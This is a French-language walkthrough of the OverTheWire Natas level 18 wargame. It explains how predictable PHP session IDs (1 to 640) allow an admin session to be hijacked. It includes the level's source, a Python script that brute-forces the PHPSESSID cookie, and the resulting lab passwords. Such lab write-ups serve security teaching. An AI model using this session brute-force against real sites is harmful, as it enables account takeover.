Natas 18
Level Goal
Username: natas18
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
URL: http://natas18.natas.labs.overthewire.org
En se connectant à la page du challenge 18 (curl http://natas18.natas.labs.overthewire.org -u natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
) on accède à un formulaire de connexion :
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
Avec le code source suivant :
<?
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
<p>
Please login with your admin account to retrieve credentials for natas19.
</p>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
La manière dont fonctionne ce code est plutôt simple malgré sa longueur :
- l'utilisateur accède à un formulaire de connexion
- quel que soit le couple username / password envoyé, le serveur va initier une session
- l'identifiant de cette session sera stocké par le client dans un cookie
PHPSESSID
La faille à exploiter se trouve à la première ligne de code :
$maxid = 640; // 640 should be enough for everyone
et dans la fonction createID()
:
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
Comme on peut le voir le code utilise les sessions de manière incorrecte : la session utilisateur se voit assigner aléatoirement un nombre compris entre 1
et 640
. Cela signifie que si un utilisateur admin
est connecté sur le site alors en essayant tous ces numéros de session il est possible d'usurper son identité.
Une fois de plus on peut utiliser Python pour trouver l'identifiant de session via une attaque par force brute :
import requests
import string
def query(session_id):
response = requests.get(
"http://natas18.natas.labs.overthewire.org",
cookies={"PHPSESSID": f"{session_id}"},
auth=requests.auth.HTTPBasicAuth("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"),
)
return response.text
for i in range(1, 641):
result = query(i)
if "You are an admin" in result:
print(result)
break
Après quelque secondes on obtient le résultat suivant :
Session ID 119
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
L'identifiant de session que l'on devait trouvé était donc 119
et le mot de passe pour la prochaine épreuve est 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs